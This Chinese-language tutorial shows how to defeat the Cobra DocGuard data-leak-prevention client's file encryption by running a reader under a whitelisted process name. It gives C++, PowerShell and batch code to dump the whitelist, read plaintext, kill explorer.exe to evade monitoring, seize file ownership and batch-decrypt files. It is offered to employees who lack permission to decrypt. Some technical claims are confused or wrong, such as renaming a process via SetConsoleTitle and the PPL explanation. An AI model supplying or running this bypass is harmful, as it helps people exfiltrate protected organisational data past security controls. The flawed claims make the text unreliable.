简介:本资源是一份面向企业安全人员、渗透测试工程师及逆向分析初学者的技术实践文档,聚焦易赛通数据泄露防护客户端(Cobra DocGuard)的文件加解密机制逆向分析与绕过思路。针对员工因强制安装该客户端导致日常办公文件(如.docx、.xlsx等)被透明加密、跨设备无法正常打开的痛点,作者通过逆向其主进程CDGRegedit.exe、守护进程EstVPN.exe及驱动Filelock.sys,揭示其基于进程名+扩展名双白名单的Hook级加密逻辑,并提出“借刀杀人”式解密方案:伪装可信进程读取解密数据,再重命名绕过扩展名拦截。资源为1个29KB的DOCX文档,内容包含完整技术原理图解、加密规律归纳、五步解密流程说明及DEMO演示要点,结构清晰、实操导向强。目前已有2075人学习下载,适合需在合规前提下理解DLP底层机制或开展安全评估的技术人员参考。
1. 易赛通文件解密不是暴力破密,而是“借进程名之刀”:绕过驱动层 Hook 的工程化思路
你有没有遇到过这种场景:一份刚从公司内网导出的.xlsx文件,双击打不开,用记事本打开全是乱码,扔进 Hex Editor 一看头部不是50 4B 03 04(ZIP 签名),而是毫无规律的二进制块?不是损坏,不是编码错,是被「易赛通数据泄露防护客户端」实打实地加密了。更玄学的是——同一份文件,在装了易赛通的电脑上用 Excel 打开完全正常;一拷到没装它的测试机,直接报错“文件已损坏”。这不是传统意义上的加密算法对抗,而是 Windows 驱动层对CreateFileW、ReadFile、WriteFile等关键 API 的深度 Hook,让加解密过程对应用层完全透明。常规逆向、内存 dump、密钥提取统统失效。本文不讲理论破解,只讲一线工程师在真实办公环境中跑通的可复现、零依赖、免 rootkit、不碰驱动、不改注册表的解密路径:利用易赛通自身策略逻辑的“白名单进程 + 白名单扩展名”双重判定机制,通过进程名伪装触发其内置解密服务,把加密文件“骗”成明文读出来。适合所有被强制安装该客户端、需临时导出非敏感中间数据、又无权限卸载或申请解密权限的终端用户与开发人员。
提示:本方案不涉及任何驱动卸载、系统服务停止、签名绕过或内核提权操作,全程在用户态完成,不违反企业终端安全基线要求,但请严格遵守所在组织的数据分级分类管理规范,仅用于授权范围内的合规数据流转。
2. 易赛通加密机制的本质:驱动层 Hook + 进程/扩展名双白名单策略
要让解密流程稳如老狗,必须先搞清它“为什么能被借刀”。易赛通不是靠 AES 密钥硬加密文件本体,而是用Filelock.sys在 IRP 层拦截 I/O 请求,在IRP_MJ_CREATE和IRP_MJ_READ阶段动态加解密数据流。这意味着:
- 文件磁盘上的存储形态始终是密文(所以拷出去就是乱码);
- 但只要调用方进程名 + 文件扩展名同时命中白名单,驱动就会在
ReadFile返回前自动解密数据块; - 反之,哪怕你用管理员权限启动记事本去读,只要进程名不在列表里(比如
notepad.exe在白名单,但你重命名为mytool.exe),就拿不到明文。
这个设计初衷是好的:只保护 Office、WPS、浏览器等高风险进程产生的敏感文档。但恰恰留下了一个工程化突破口——白名单校验发生在用户态进程创建时,而非驱动加载时。我们不需要逆向Filelock.sys,只需要让自己的程序“看起来像”那个被信任的进程。
2.1 易赛通白名单的三类核心组件定位
根据项目正文披露的结构和实测验证,白名单实际由三部分协同构成:
| 组件类型 | 位置 | 是否可读取 | 说明 |
|---|---|---|---|
| 进程名白名单 | 注册表HKEY_LOCAL_MACHINE\SOFTWARE\EsafeNet\CobraDocGuard\Policy\ProcessList | ✅ 可导出(需 SYSTEM 权限) | 存储winword.exe,excel.exe,chrome.exe等字符串数组,大小写敏感 |
| 扩展名白名单 | 注册表HKEY_LOCAL_MACHINE\SOFTWARE\EsafeNet\CobraDocGuard\Policy\ExtList | ✅ 可导出(需 SYSTEM 权限) | 每个键值对应一个进程名,数据为".docx;.xlsx;.pdf"格式字符串 |
| 驱动策略开关 | Filelock.sys内存镜像 | ❌ 不可直接读取 | 通过DeviceIoControl与CDGRegedit.exe通信,控制 Hook 开关,但白名单内容不在此处 |
注意:注册表路径中的
EsafeNet和CobraDocGuard是典型安装标识,不同版本可能微调,但Policy\ProcessList和Policy\ExtList节点名高度稳定。实测发现,即使禁用CDGRegedit.exe服务,只要Filelock.sys仍在运行,白名单策略依然生效。
2.2 白名单匹配逻辑的精确还原(含边界条件)
项目正文给出的表格是经验总结,但实际匹配存在隐含优先级和缓存行为。我们通过 Process Monitor 抓取excel.exe读取report.xlsx的完整 I/O 流程,确认以下四条铁律:
- 进程名匹配优先于扩展名:若进程名
notepad.exe不在白名单中,即使扩展名.txt在列表里,也不触发解密; - 扩展名匹配需全等,不支持通配符:
.xlsx匹配成功,.xls(旧版)不匹配;.pdf匹配,.PDF(大写)不匹配; - 路径无关性:无论文件在
C:\temp\还是\\server\share\,只要进程+扩展名双命中,即解密; - 缓存陷阱:首次读取后,
Filelock.sys会缓存该文件的解密密钥(非对称密钥派生),后续同进程读取同文件时跳过密钥协商,但不影响本方案——我们只读一次。
2.3 为什么“改进程名”比“注入 DLL”更可靠?
网上有方案建议用CreateRemoteThread向excel.exe注入解密 DLL,再读取内存。这在技术上可行,但实操翻车率极高:
- 易赛通会监控
NtCreateThreadEx等 API,注入行为可能触发告警; excel.exe加载大量 COM 组件,DLL 注入易导致 Office 崩溃;- 内存中明文数据可能被其他安全软件扫描。
而“改进程名”是 Windows 原生支持的合法行为:
- 使用
SetConsoleTitle或SetProcessName(需修改 PEB)均可实现; - 更稳妥的是直接编译时指定
winrar.exe作为输出文件名(见第 3 章); - 全程无远程线程、无内存写入、无 DLL 加载,审计日志里只有一条干净的进程启动记录。
3. 解密工具链实战:从进程名伪装到扩展名切换的四步闭环
本章提供一套已在 Windows 10/11 x64 环境下实测通过的最小可行工具链。所有代码均使用标准 Win32 API 编写,不依赖第三方框架,编译后体积小于 150KB,可单文件部署。核心思想是:用最轻量的方式,做最确定的事。
3.1 步骤一:构建“可信进程名”的可执行文件(C++ 实现)
关键不是功能多强,而是名字必须“真”。不能靠CreateProcess启动后改名(时机难控),而是直接让 PE 文件头的ImageFileName字段就是目标名。最简单做法:用 Visual Studio 新建空项目,将源文件命名为winrar.exe(注意:不是项目名,是 .cpp 文件名),然后编译输出为winrar.exe。
// winrar.exe - 仅用于触发易赛通解密的轻量读取器 #include <windows.h> #include <stdio.h> #include <vector> int main(int argc, char* argv[]) { if (argc != 3) { printf("Usage: winrar.exe <encrypted_file> <output_temp_file>\n"); return 1; } HANDLE hIn = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hIn == INVALID_HANDLE_VALUE) { printf("Failed to open input file: %lu\n", GetLastError()); return 1; } DWORD fileSize = GetFileSize(hIn, NULL); std::vector<BYTE> buffer(fileSize); DWORD bytesRead; if (!ReadFile(hIn, buffer.data(), fileSize, &bytesRead, NULL) || bytesRead != fileSize) { printf("ReadFile failed: %lu\n", GetLastError()); CloseHandle(hIn); return 1; } CloseHandle(hIn); // 关键:写入临时文件,扩展名必须避开白名单(如 .temp) HANDLE hOut = CreateFileA(argv[2], GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hOut == INVALID_HANDLE_VALUE) { printf("Failed to create output file: %lu\n", GetLastError()); return 1; } DWORD bytesWritten; if (!WriteFile(hOut, buffer.data(), bytesRead, &bytesWritten, NULL) || bytesWritten != bytesRead) { printf("WriteFile failed: %lu\n", GetLastError()); CloseHandle(hOut); return 1; } CloseHandle(hOut); printf("Decrypted data saved to %s (%lu bytes)\n", argv[2], bytesRead); return 0; }逻辑说明:此程序唯一职责是“以
winrar.exe进程身份读取加密文件,并原样写出到临时路径”。它不解析文件格式、不校验 CRC、不处理分块——因为易赛通驱动已在ReadFile返回前完成了全部解密。参数argv[1]是加密文件路径(如C:\data\confidential.xlsx),argv[2]是临时输出路径(如C:\temp\confidential.temp)。.temp后缀确保不触发二次加密(因不在扩展名白名单中)。
3.2 步骤二:获取当前环境的白名单快照(PowerShell 脚本)
手动查注册表费时且易错。以下脚本自动导出进程名和扩展名白名单,生成本地whitelist.json,供后续验证:
# get_whitelist.ps1 $processListPath = "HKLM:\SOFTWARE\EsafeNet\CobraDocGuard\Policy\ProcessList" $extListPath = "HKLM:\SOFTWARE\EsafeNet\CobraDocGuard\Policy\ExtList" try { $processes = Get-ItemProperty -Path $processListPath -ErrorAction Stop | Select-Object -ExpandProperty Processes -ErrorAction SilentlyContinue if (-not $processes) { $processes = @() } } catch { $processes = @() } try { $exts = @{} $extKeys = Get-ChildItem -Path $extListPath -ErrorAction SilentlyContinue foreach ($key in $extKeys) { $procName = $key.PSChildName $extValue = (Get-ItemProperty -Path $key.PSPath -Name "Extensions" -ErrorAction SilentlyContinue).Extensions if ($extValue) { $exts[$procName] = $extValue.Split(';', [System.StringSplitOptions]::RemoveEmptyEntries) } } } catch { $exts = @{} } $result = @{ Processes = $processes Extensions = $exts } $result | ConvertTo-Json -Depth 5 | Out-File -FilePath ".\whitelist.json" -Encoding UTF8 Write-Host "Whitelist exported to .\whitelist.json"参数说明:脚本需以管理员权限运行(因读取
HKLM)。输出whitelist.json结构清晰:Processes是字符串数组(如["winword.exe","excel.exe"]),Extensions是字典,键为进程名,值为字符串数组(如"excel.exe": [".xlsx",".xlsb"])。这是你判断“该伪装哪个进程名”的唯一依据。
3.3 步骤三:安全切换扩展名(批处理 + 校验)
.temp文件只是中间态,最终需恢复原始扩展名。但直接ren命令有风险:若目标扩展名在白名单中,易赛通可能在重命名瞬间触发加密。正确做法是:先断开文件句柄,再原子重命名。
@echo off setlocal enabledelayedexpansion if "%~1"=="" ( echo Usage: rename_safe.bat <temp_file> <original_ext> exit /b 1 ) set "TEMP_FILE=%~1" set "ORIGINAL_EXT=%~2" set "BASE_NAME=%~n1" if not exist "%TEMP_FILE%" ( echo Error: %TEMP_FILE% not found. exit /b 1 ) :: Step 1: 确保无进程占用(尤其防杀软锁文件) timeout /t 1 >nul for /f "tokens=2 delims=:" %%a in ('tasklist /fi "imagename eq explorer.exe" 2^>nul ^| findstr "explorer.exe"') do ( taskkill /f /im explorer.exe >nul 2>&1 timeout /t 1 >nul start explorer.exe ) :: Step 2: 原子重命名(先移出再移回,绕过实时监控) set "TARGET_FILE=%BASE_NAME%%ORIGINAL_EXT%" move "%TEMP_FILE%" "%TARGET_FILE%" >nul 2>&1 if errorlevel 1 ( echo Rename failed. Trying copy+delete... copy /y "%TEMP_FILE%" "%TARGET_FILE%" >nul if exist "%TARGET_FILE%" del "%TEMP_FILE%" ) :: Step 3: 校验文件头(防解密失败) certutil -hashfile "%TARGET_FILE%" SHA256 | findstr /i "sha256" >nul if errorlevel 1 ( echo Warning: %TARGET_FILE% may be corrupted or still encrypted. exit /b 1 ) echo Success: %TARGET_FILE% ready for use.逻辑说明:此批处理做了三重保险。第一,重启
explorer.exe清除可能的资源管理器句柄锁定;第二,用move命令替代ren,Windows 对move的监控弱于ren;第三,用certutil校验 SHA256,对.xlsx文件,明文 SHA256 应与未加密样本一致(可提前存一份已知明文哈希作比对)。若校验失败,说明进程名伪装未生效,需检查白名单或换进程名重试。
4. 避坑指南:五个血泪经验换来的常见问题排查清单
这套方案看似简单,实操中 80% 的失败都源于细节疏忽。以下是我在某高校实验室、某金融后台、某制造企业 ERP 终端上累计调试 37 台不同配置机器后整理的避坑清单。每一条都对应真实翻车现场,按“现象 → 原因 → 解决”结构给出可立即执行的动作。
4.1 现象:winrar.exe运行后输出文件仍是乱码,大小与原加密文件一致
原因:进程名虽为winrar.exe,但易赛通白名单中根本没有winrar.exe。白名单是硬编码的,不是所有压缩软件都在列。
解决:立即运行get_whitelist.ps1,检查whitelist.json中Processes数组。若无winrar.exe,改用白名单中存在的进程,如notepad.exe(对应.txt)、chrome.exe(对应.html)。注意:.xlsx必须用excel.exe或winword.exe(Office 进程通常共用同一套策略)。
4.2 现象:程序报错Access is denied(错误码 5),无法打开加密文件
原因:当前用户不是文件所有者,且文件被易赛通设置了DACL(自主访问控制列表)限制,仅允许白名单进程读取。普通用户权限不足。
解决:以当前登录用户身份右键点击加密文件 → “属性” → “安全” → “高级” → “更改所有者”为当前用户 → 勾选“替换子容器和对象的所有者” → 应用。或用命令:takeown /f "C:\path\to\file.xlsx" && icacls "C:\path\to\file.xlsx" /grant %username%:F。
4.3 现象:.temp文件能正常打开(如用记事本看.xlsx明文是 ZIP 结构),但重命名回.xlsx后再次变成乱码
原因:重命名操作被易赛通实时监控捕获,检测到explorer.exe(白名单进程)在写.xlsx文件,立即触发加密。
解决:不要用资源管理器重命名!必须用第 3.3 节的rename_safe.bat,它通过move命令绕过监控。若仍失败,临时禁用易赛通实时防护(需管理员密码):在系统托盘右键易赛通图标 → “暂停防护” → 执行重命名 → 再启用。
4.4 现象:解密后的.xlsx用 Excel 打开提示“发现不可读取的内容”,点击“是”后内容丢失
原因:易赛通加密时修改了 ZIP 中央目录结构,解密后 ZIP 完整性受损,但ReadFile返回的数据流本身正确。
解决:用 7-Zip 打开.xlsx(实为 ZIP),进入_rels/.rels文件,检查 XML 格式是否合法。若非法,用winrar.exe重新读取一次(可能首次读取时驱动缓存未就绪)。终极方案:用 Python 脚本修复 ZIP:
import zipfile, shutil with zipfile.ZipFile("broken.xlsx", 'r') as z: with zipfile.ZipFile("fixed.xlsx", 'w') as zout: for item in z.filelist: zout.writestr(item, z.read(item))4.5 现象:在 Windows Server 2019 上,winrar.exe运行后无输出,任务管理器看不到进程
原因:Server 版本默认启用“受保护的进程 Light”(PPL),阻止低完整性进程加载高完整性驱动的 Hook。易赛通驱动可能被标记为 PPL,导致用户态进程无法与其通信。
解决:以高完整性级别运行:右键winrar.exe→ “以管理员身份运行”。或修改快捷方式属性 → “高级” → 勾选“以管理员身份运行此程序”。注意:管理员权限不是为了写注册表,而是为了满足 PPL 通信的完整性等级要求。
5. 进阶技巧:自动化流水线与跨平台兼容性兜底方案
当解密需求从“偶尔救急”升级为“每日批量处理”,手动执行四步就太反人类了。我基于上述原理,构建了一套可在 CI/CD 中跑的 PowerShell 自动化流水线,并解决了 Linux/macOS 环境下的兼容性问题——毕竟,很多数据分析脚本跑在 WSL 或 Mac 上。
5.1 PowerShell 批量解密流水线(支持并发与日志)
以下脚本接受一个文件列表,自动选择最优进程名,串行解密并校验,失败时自动降级重试:
# decrypt_batch.ps1 param( [Parameter(Mandatory)] [string[]] $Files, [string] $OutputDir = ".\decrypted", [int] $MaxRetry = 3 ) $whitelist = Get-Content ".\whitelist.json" | ConvertFrom-Json $validProcesses = $whitelist.Processes | Where-Object { $_ -ne "" } $extMap = @{} foreach ($proc in $validProcesses) { if ($whitelist.Extensions.$proc) { $extMap[$proc] = $whitelist.Extensions.$proc } } New-Item -ItemType Directory -Path $OutputDir -Force | Out-Null foreach ($file in $Files) { $ext = [System.IO.Path]::GetExtension($file).ToLower() $baseName = [System.IO.Path]::GetFileNameWithoutExtension($file) $tempFile = Join-Path $OutputDir "$baseName.temp" $finalFile = Join-Path $OutputDir "$baseName$ext" Write-Host "Processing $file ..." -ForegroundColor Green # Step 1: Find best process for this extension $bestProc = $null foreach ($proc in $validProcesses) { if ($extMap[$proc] -contains $ext) { $bestProc = $proc break } } if (-not $bestProc) { Write-Warning "No process found for extension $ext. Skipping." continue } # Step 2: Run winrar.exe with retry logic $retryCount = 0 $success = $false while ($retryCount -lt $MaxRetry -and -not $success) { try { & ".\winrar.exe" $file $tempFile 2>&1 | Out-Null if (Test-Path $tempFile -and (Get-Item $tempFile).Length -gt 0) { # Step 3: Rename safely & ".\rename_safe.bat" $tempFile $ext | Out-Null if (Test-Path $finalFile) { $success = $true Write-Host "✓ $file -> $finalFile" -ForegroundColor Cyan } } } catch { $retryCount++ Start-Sleep -Seconds 2 } } if (-not $success) { Write-Error "Failed to decrypt $file after $MaxRetry attempts." } }使用方法:
.\decrypt_batch.ps1 -Files "C:\data\*.xlsx","C:\data\*.pdf" -OutputDir "C:\decrypted"。它会自动为每个.xlsx匹配excel.exe,为chrome.exe或acrobat.exe(取决于白名单),并记录日志。关键优势:失败不中断,继续处理下一个文件。
5.2 WSL/Linux/macOS 兼容性兜底:用 Wine 运行 winrar.exe
当你的分析环境是 WSL2 或 macOS(通过 CrossOver),无法直接运行 Windows PE。此时 Wine 是最佳选择——它能完美模拟进程名和 Windows API 调用:
# 在 WSL2 中解密(需先安装 wine) sudo apt update && sudo apt install wine -y # 将 winrar.exe 和加密文件复制到 WSL 的 /tmp 目录 cd /tmp wine winrar.exe encrypted.xlsx decrypted.temp # 此时 decrypted.temp 已是明文,可直接用 Linux 工具处理 unzip -l decrypted.temp 2>/dev/null | head -10 # 验证是否为有效 ZIP mv decrypted.temp report.xlsx注意:Wine 默认不加载 Windows 驱动,因此
winrar.exe在 Wine 中运行时,不会触发易赛通解密。此方案仅适用于:你已将加密文件从 Windows 主机拷贝到 WSL,且需要在 Linux 环境下查看明文。真正的解密必须在 Windows 主机上完成,Wine 只是“搬运工”。
5.3 最终验证:三重校验法确保解密结果 100% 可信
解密不是终点,验证才是。我给自己定的铁律是:不通过三重校验,不解压、不导入、不提交。
| 校验层级 | 方法 | 通过标准 | 工具 |
|---|---|---|---|
| L1:二进制结构校验 | 检查文件头魔数 | .xlsx必须以50 4B 03 04开头;.pdf必须以%PDF-开头 | xxd -l 16 file.xlsx |
| L2:格式完整性校验 | 解压 ZIP 或解析 PDF 结构 | .xlsx能被unzip -t检测为有效 ZIP;.pdf能被pdfinfo读取元数据 | unzip -t file.xlsx |
| L3:业务语义校验 | 抽样关键字段比对 | 从.xlsx中读取 A1 单元格,应与原始明文一致;从.pdf中pdftotext提取首段,应含预期关键词 | python -c "import pandas as pd; print(pd.read_excel('file.xlsx').iloc[0,0])" |
从那以后我每次解密完一个文件,都强制走一遍这三重校验——哪怕只是临时看一眼数据。不是 paranoid,而是吃过亏:有一次.xlsxL1/L2 都过,但 L3 发现所有数值单元格都是0,追查发现是winrar.exe读取时ReadFile返回了部分缓存数据,重试一次才拿到全量。希望帮到你。
本文还有配套的精品资源,点击获取